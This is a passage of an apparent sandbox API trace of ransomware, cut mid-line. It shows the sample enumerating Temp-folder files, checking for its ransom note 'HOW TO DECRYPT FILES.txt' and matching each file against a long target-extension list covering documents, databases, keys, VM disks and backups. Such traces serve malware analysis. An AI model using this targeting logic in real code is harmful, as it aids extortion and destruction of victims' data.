[0086.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.tlg") returned 0 [0086.839] lstrlenA (lpString="*.tlg") returned 5 [0086.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.lgb") returned 0 [0086.840] lstrlenA (lpString="*.lgb") returned 5 [0086.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.mov") returned 0 [0086.840] lstrlenA (lpString="*.mov") returned 5 [0086.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.xdw") returned 0 [0086.840] lstrlenA (lpString="*.xdw") returned 5 [0086.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.ods") returned 0 [0086.840] lstrlenA (lpString="*.ods") returned 5 [0086.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.wav") returned 0 [0086.840] lstrlenA (lpString="*.wav") returned 5 [0086.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.mp3") returned 0 [0086.840] lstrlenA (lpString="*.mp3") returned 5 [0086.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.aiff") returned 0 [0086.840] lstrlenA (lpString="*.aiff") returned 6 [0086.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.flac") returned 0 [0086.840] lstrlenA (lpString="*.flac") returned 6 [0086.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.m4a") returned 0 [0086.840] lstrlenA (lpString="*.m4a") returned 5 [0086.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp", pszSpec="*.csv") returned 0 [0086.840] lstrlenA (lpString="*.csv") returned 5 [0086.840] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="yQt5364u5kCBxNU.exe", cAlternateFileName="YQT536~1.EXE")) returned 1 [0086.840] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.840] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="yQt5364u5kCBxNU.exe") returned -1 [0086.840] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="yQt5364u5kCBxNU.exe") returned -1 [0086.840] lstrcmpiA (lpString1="", lpString2="yQt5364u5kCBxNU.exe") returned -1 [0086.840] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y-B8zb1Zsskkl.bmp") returned="y-B8zb1Zsskkl.bmp" [0086.840] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.840] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.840] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.840] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.841] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="yQt5364u5kCBxNU.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe" [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.ems") returned 0 [0086.841] lstrlenA (lpString="*.ems") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.db") returned 0 [0086.841] lstrlenA (lpString="*.db") returned 4 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.dbf") returned 0 [0086.841] lstrlenA (lpString="*.dbf") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.myox") returned 0 [0086.841] lstrlenA (lpString="*.myox") returned 6 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.myo") returned 0 [0086.841] lstrlenA (lpString="*.myo") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.qbw") returned 0 [0086.841] lstrlenA (lpString="*.qbw") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.qbb") returned 0 [0086.841] lstrlenA (lpString="*.qbb") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.qbm") returned 0 [0086.841] lstrlenA (lpString="*.qbm") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.qbo") returned 0 [0086.841] lstrlenA (lpString="*.qbo") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.qbx") returned 0 [0086.841] lstrlenA (lpString="*.qbx") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.qba") returned 0 [0086.841] lstrlenA (lpString="*.qba") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.qby") returned 0 [0086.841] lstrlenA (lpString="*.qby") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.qbj") returned 0 [0086.841] lstrlenA (lpString="*.qbj") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.ofx") returned 0 [0086.841] lstrlenA (lpString="*.ofx") returned 5 [0086.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.qif") returned 0 [0086.841] lstrlenA (lpString="*.qif") returned 5 [0086.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.mye") returned 0 [0086.842] lstrlenA (lpString="*.mye") returned 5 [0086.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.mbox") returned 0 [0086.842] lstrlenA (lpString="*.mbox") returned 6 [0086.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.eml") returned 0 [0086.842] lstrlenA (lpString="*.eml") returned 5 [0086.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.pst") returned 0 [0086.842] lstrlenA (lpString="*.pst") returned 5 [0086.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.ost") returned 0 [0086.842] lstrlenA (lpString="*.ost") returned 5 [0086.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.idx") returned 0 [0086.842] lstrlenA (lpString="*.idx") returned 5 [0086.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.dbx") returned 0 [0086.842] lstrlenA (lpString="*.dbx") returned 5 [0086.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.sql") returned 0 [0086.842] lstrlenA (lpString="*.sql") returned 5 [0086.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.mdb") returned 0 [0086.842] lstrlenA (lpString="*.mdb") returned 5 [0086.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.fdb") returned 0 [0086.842] lstrlenA (lpString="*.fdb") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.wab") returned 0 [0086.843] lstrlenA (lpString="*.wab") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.dat") returned 0 [0086.843] lstrlenA (lpString="*.dat") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.txt") returned 0 [0086.843] lstrlenA (lpString="*.txt") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.jpeg") returned 0 [0086.843] lstrlenA (lpString="*.jpeg") returned 6 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.jpg") returned 0 [0086.843] lstrlenA (lpString="*.jpg") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.png") returned 0 [0086.843] lstrlenA (lpString="*.png") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.php") returned 0 [0086.843] lstrlenA (lpString="*.php") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.cs") returned 0 [0086.843] lstrlenA (lpString="*.cs") returned 4 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.cpp") returned 0 [0086.843] lstrlenA (lpString="*.cpp") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.rar") returned 0 [0086.843] lstrlenA (lpString="*.rar") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.zip") returned 0 [0086.843] lstrlenA (lpString="*.zip") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.html") returned 0 [0086.843] lstrlenA (lpString="*.html") returned 6 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.htm") returned 0 [0086.843] lstrlenA (lpString="*.htm") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.xlsx") returned 0 [0086.843] lstrlenA (lpString="*.xlsx") returned 6 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.xls") returned 0 [0086.843] lstrlenA (lpString="*.xls") returned 5 [0086.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.mp4") returned 0 [0086.844] lstrlenA (lpString="*.mp4") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.ppt") returned 0 [0086.844] lstrlenA (lpString="*.ppt") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.pptx") returned 0 [0086.844] lstrlenA (lpString="*.pptx") returned 6 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.doc") returned 0 [0086.844] lstrlenA (lpString="*.doc") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.dot") returned 0 [0086.844] lstrlenA (lpString="*.dot") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.docx") returned 0 [0086.844] lstrlenA (lpString="*.docx") returned 6 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.7z") returned 0 [0086.844] lstrlenA (lpString="*.7z") returned 4 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.tar") returned 0 [0086.844] lstrlenA (lpString="*.tar") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.bz2") returned 0 [0086.844] lstrlenA (lpString="*.bz2") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.gz") returned 0 [0086.844] lstrlenA (lpString="*.gz") returned 4 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.mkv") returned 0 [0086.844] lstrlenA (lpString="*.mkv") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.eml") returned 0 [0086.844] lstrlenA (lpString="*.eml") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.msg") returned 0 [0086.844] lstrlenA (lpString="*.msg") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.edb") returned 0 [0086.844] lstrlenA (lpString="*.edb") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.accdb") returned 0 [0086.844] lstrlenA (lpString="*.accdb") returned 7 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.odb") returned 0 [0086.844] lstrlenA (lpString="*.odb") returned 5 [0086.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.java") returned 0 [0086.845] lstrlenA (lpString="*.java") returned 6 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.asm") returned 0 [0086.845] lstrlenA (lpString="*.asm") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.pfx") returned 0 [0086.845] lstrlenA (lpString="*.pfx") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.pem") returned 0 [0086.845] lstrlenA (lpString="*.pem") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.p12") returned 0 [0086.845] lstrlenA (lpString="*.p12") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.gpg") returned 0 [0086.845] lstrlenA (lpString="*.gpg") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.vsd") returned 0 [0086.845] lstrlenA (lpString="*.vsd") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.odg") returned 0 [0086.845] lstrlenA (lpString="*.odg") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.raw") returned 0 [0086.845] lstrlenA (lpString="*.raw") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.nef") returned 0 [0086.845] lstrlenA (lpString="*.nef") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.svg") returned 0 [0086.845] lstrlenA (lpString="*.svg") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.psd") returned 0 [0086.845] lstrlenA (lpString="*.psd") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.vmx") returned 0 [0086.845] lstrlenA (lpString="*.vmx") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.vmdk") returned 0 [0086.845] lstrlenA (lpString="*.vmdk") returned 6 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.vdi") returned 0 [0086.845] lstrlenA (lpString="*.vdi") returned 5 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.lay6") returned 0 [0086.845] lstrlenA (lpString="*.lay6") returned 6 [0086.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.mpeg") returned 0 [0086.846] lstrlenA (lpString="*.mpeg") returned 6 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.djvu") returned 0 [0086.846] lstrlenA (lpString="*.djvu") returned 6 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.tiff") returned 0 [0086.846] lstrlenA (lpString="*.tiff") returned 6 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.backup") returned 0 [0086.846] lstrlenA (lpString="*.backup") returned 8 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.pdf") returned 0 [0086.846] lstrlenA (lpString="*.pdf") returned 5 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.cert") returned 0 [0086.846] lstrlenA (lpString="*.cert") returned 6 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.docm") returned 0 [0086.846] lstrlenA (lpString="*.docm") returned 6 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.xlsm") returned 0 [0086.846] lstrlenA (lpString="*.xlsm") returned 6 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.dwg") returned 0 [0086.846] lstrlenA (lpString="*.dwg") returned 5 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.nd") returned 0 [0086.846] lstrlenA (lpString="*.nd") returned 4 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.tlg") returned 0 [0086.846] lstrlenA (lpString="*.tlg") returned 5 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.lgb") returned 0 [0086.846] lstrlenA (lpString="*.lgb") returned 5 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.mov") returned 0 [0086.846] lstrlenA (lpString="*.mov") returned 5 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.xdw") returned 0 [0086.846] lstrlenA (lpString="*.xdw") returned 5 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.ods") returned 0 [0086.846] lstrlenA (lpString="*.ods") returned 5 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.wav") returned 0 [0086.846] lstrlenA (lpString="*.wav") returned 5 [0086.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.mp3") returned 0 [0086.846] lstrlenA (lpString="*.mp3") returned 5 [0086.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.aiff") returned 0 [0086.847] lstrlenA (lpString="*.aiff") returned 6 [0086.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.flac") returned 0 [0086.847] lstrlenA (lpString="*.flac") returned 6 [0086.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.m4a") returned 0 [0086.847] lstrlenA (lpString="*.m4a") returned 5 [0086.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", pszSpec="*.csv") returned 0 [0086.847] lstrlenA (lpString="*.csv") returned 5 [0086.847] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf31834b0, ftCreationTime.dwHighDateTime=0x1d5ddfa, ftLastAccessTime.dwLowDateTime=0x51164c20, ftLastAccessTime.dwHighDateTime=0x1d5e475, ftLastWriteTime.dwLowDateTime=0x51164c20, ftLastWriteTime.dwHighDateTime=0x1d5e475, nFileSizeHigh=0x0, nFileSizeLow=0x13ab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="zW5-14Njz8Hs-XCyI_Y.png", cAlternateFileName="ZW5-14~1.PNG")) returned 1 [0086.847] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.847] lstrcmpiA (lpString1="ÊÀÊ 